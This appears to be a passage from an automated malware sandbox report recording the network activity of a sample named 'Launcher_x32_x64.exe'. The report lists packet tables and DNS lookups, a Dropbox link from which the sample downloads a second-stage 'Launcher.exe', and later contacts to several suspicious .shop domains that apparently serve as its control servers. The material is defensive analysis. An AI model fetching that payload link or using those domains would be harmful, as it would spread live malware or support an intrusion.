Aug 31, 2024 21:18:13.292838097 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.292848110 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.292892933 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.300081968 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.300108910 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.300143003 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.300151110 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.300175905 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.300184011 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.314018965 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314033031 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314091921 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.314100027 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314140081 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.314177990 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314835072 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314847946 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.314903975 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.314913034 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.315530062 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.315546036 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.315593004 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.315602064 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.315645933 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.357048035 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357062101 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357145071 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.357153893 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357197046 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.357649088 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357662916 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357713938 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.357722998 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.357765913 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.358089924 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.358961105 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.358983994 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.359015942 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.359024048 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.359046936 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.379518986 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.379542112 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.379580021 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.379590988 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.379607916 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.379638910 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.387231112 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.387244940 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.387298107 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.387305975 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.387343884 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.401119947 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.401138067 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.401166916 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.401206970 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.401216984 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.401245117 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.401987076 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402005911 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402038097 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.402048111 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402076960 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.402641058 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402662992 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402694941 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.402699947 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402713060 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.402724028 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.402746916 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.414459944 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.442590952 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.442608118 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.442657948 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.442667961 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.442715883 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443260908 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443279028 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443319082 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443326950 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443341970 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443376064 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443869114 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443886042 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443921089 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443928003 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.443943024 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.443962097 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.466613054 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.466629982 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.466666937 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.466675043 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.466696978 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.466707945 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.476500988 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.476521969 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.476560116 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.476567984 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.476597071 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.476610899 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.488181114 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.488195896 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.488240957 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.488250017 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.488289118 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.488892078 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.488908052 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.488951921 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.488960981 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.489026070 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.489603043 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.489624977 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.489656925 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.489664078 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.489682913 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.489694118 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530097961 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530114889 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530210972 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530220985 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530266047 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530309916 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530329943 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530376911 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530386925 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530428886 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530750036 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530776978 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530807972 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530816078 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.530829906 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.530846119 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.553618908 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.553633928 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.553710938 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.553719997 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.553761959 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.559498072 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.559513092 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.559568882 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.559576988 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.559621096 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.573782921 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.573796988 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.573873043 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.573882103 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.573924065 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.574510098 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.574523926 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.574593067 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.574600935 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.574642897 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.575185061 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.575198889 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.575253010 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.575261116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.575300932 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.617357016 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.617396116 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.617430925 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:13.617434978 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.617486000 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.618387938 CEST	49731	443	192.168.2.4	162.125.66.15
Aug 31, 2024 21:18:13.618403912 CEST	443	49731	162.125.66.15	192.168.2.4
Aug 31, 2024 21:18:21.021661043 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:21.021698952 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:21.021795988 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:21.023180962 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:21.023192883 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:21.491556883 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:21.491633892 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:21.546508074 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:21.546525002 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:21.546751976 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:21.612835884 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:22.147887945 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:22.147912979 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:22.148076057 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:22.543802023 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:22.544200897 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:22.544368982 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:22.546268940 CEST	49738	443	192.168.2.4	172.67.209.93
Aug 31, 2024 21:18:22.546288013 CEST	443	49738	172.67.209.93	192.168.2.4
Aug 31, 2024 21:18:22.565242052 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:22.565274954 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:22.565366983 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:22.565661907 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:22.565676928 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.025222063 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.025340080 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.026825905 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.026835918 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.027057886 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.028274059 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.028291941 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.028338909 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.541621923 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.541738987 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.541811943 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.542085886 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.542103052 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.542117119 CEST	49739	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.542124987 CEST	443	49739	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.563026905 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.563056946 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:23.563131094 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.563436031 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:23.563441992 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.036325932 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.036420107 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.038410902 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.038417101 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.038624048 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.040050030 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.040066957 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.040118933 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161484957 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161541939 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161588907 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161596060 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.161606073 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161634922 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.161678076 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161746979 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.161789894 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.162220001 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.162233114 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.162241936 CEST	49740	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.162246943 CEST	443	49740	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.204400063 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.204440117 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.204523087 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.204847097 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.204862118 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.662446976 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.662524939 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.769678116 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.769696951 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.770004034 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:24.772501945 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.772541046 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:24.772578955 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:25.244304895 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:25.244400978 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:25.244456053 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:25.244719982 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:25.244735956 CEST	443	49741	188.114.97.3	192.168.2.4
Aug 31, 2024 21:18:25.244748116 CEST	49741	443	192.168.2.4	188.114.97.3
Aug 31, 2024 21:18:25.244755983 CEST	443	49741	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 21:17:58.387994051 CEST	52516	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:17:58.395112038 CEST	53	52516	1.1.1.1	192.168.2.4
Aug 31, 2024 21:18:00.431485891 CEST	56101	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:18:00.451673031 CEST	53	56101	1.1.1.1	192.168.2.4
Aug 31, 2024 21:18:21.002137899 CEST	51524	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:18:21.016191959 CEST	53	51524	1.1.1.1	192.168.2.4
Aug 31, 2024 21:18:22.550255060 CEST	51944	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:18:22.564516068 CEST	53	51944	1.1.1.1	192.168.2.4
Aug 31, 2024 21:18:23.545175076 CEST	54383	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:18:23.559608936 CEST	53	54383	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 21:17:58.387994051 CEST	192.168.2.4	1.1.1.1	0x8240	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:00.431485891 CEST	192.168.2.4	1.1.1.1	0x60ab	Standard query (0)	uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:21.002137899 CEST	192.168.2.4	1.1.1.1	0xd798	Standard query (0)	tenseddrywsqio.shop	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:22.550255060 CEST	192.168.2.4	1.1.1.1	0x343b	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:23.545175076 CEST	192.168.2.4	1.1.1.1	0x9bad	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 21:17:58.395112038 CEST	1.1.1.1	192.168.2.4	0x8240	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 31, 2024 21:17:58.395112038 CEST	1.1.1.1	192.168.2.4	0x8240	No error (0)	www-env.dropbox-dns.com		162.125.66.18	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:00.451673031 CEST	1.1.1.1	192.168.2.4	0x60ab	No error (0)	uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 31, 2024 21:18:00.451673031 CEST	1.1.1.1	192.168.2.4	0x60ab	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.66.15	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:21.016191959 CEST	1.1.1.1	192.168.2.4	0xd798	No error (0)	tenseddrywsqio.shop		172.67.209.93	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:21.016191959 CEST	1.1.1.1	192.168.2.4	0xd798	No error (0)	tenseddrywsqio.shop		104.21.69.149	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:22.564516068 CEST	1.1.1.1	192.168.2.4	0x343b	No error (0)	locatedblsoqp.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:22.564516068 CEST	1.1.1.1	192.168.2.4	0x343b	No error (0)	locatedblsoqp.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:23.559608936 CEST	1.1.1.1	192.168.2.4	0x9bad	No error (0)	traineiwnqo.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:18:23.559608936 CEST	1.1.1.1	192.168.2.4	0x9bad	No error (0)	traineiwnqo.shop		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dropbox.com

uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com

tenseddrywsqio.shop

locatedblsoqp.shop

traineiwnqo.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	162.125.66.18	443	7788	C:\Users\user\Desktop\Launcher_x32_x64.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:17:59 UTC	131	OUT	GET /scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st=su8clvok&dl=1 HTTP/1.1 Host: www.dropbox.com
2024-08-31 19:17:59 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com/cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJmX4CAtKb51Ff50K-MBU4Nlue9UTG2pSEpIIqdE9VtxyEjty_TXqZ6fmGkkyezkdESSzw2JVLLryoStBMg9uHfHjByfogdOWZUZ_u2nqNaED64BuzF6YgGT3bVBkI/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTYwMTUyNTg0ODM5NTQ3OTc5MTE5ODM4OTk5OTAyODk5MjExNzQ2; Path=/; Expires=Thu, 30 Aug 2029 19:17:59 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=zVRe9Yt1LMxcslbcIoBp51WC; Path=/; Domain=dropbox.com; Expires=Sun, 31 Aug 2025 19:17:59 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=zVRe9Yt1LMxcslbcIoBp51WC; Path=/; Expires=Sun, 31 Aug 2025 19:17:59 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=Ibplf4uj2c; Path=/; Expires=Sun, 31 Aug 2025 19:17:59 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Thu, 30 Aug 2029 19:17:59 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Sat, 31 Aug 2024 19:17:59 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: bd4d2f1b9b984b90ac149d0e5cba0512 Connection: close
2024-08-31 19:17:59 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
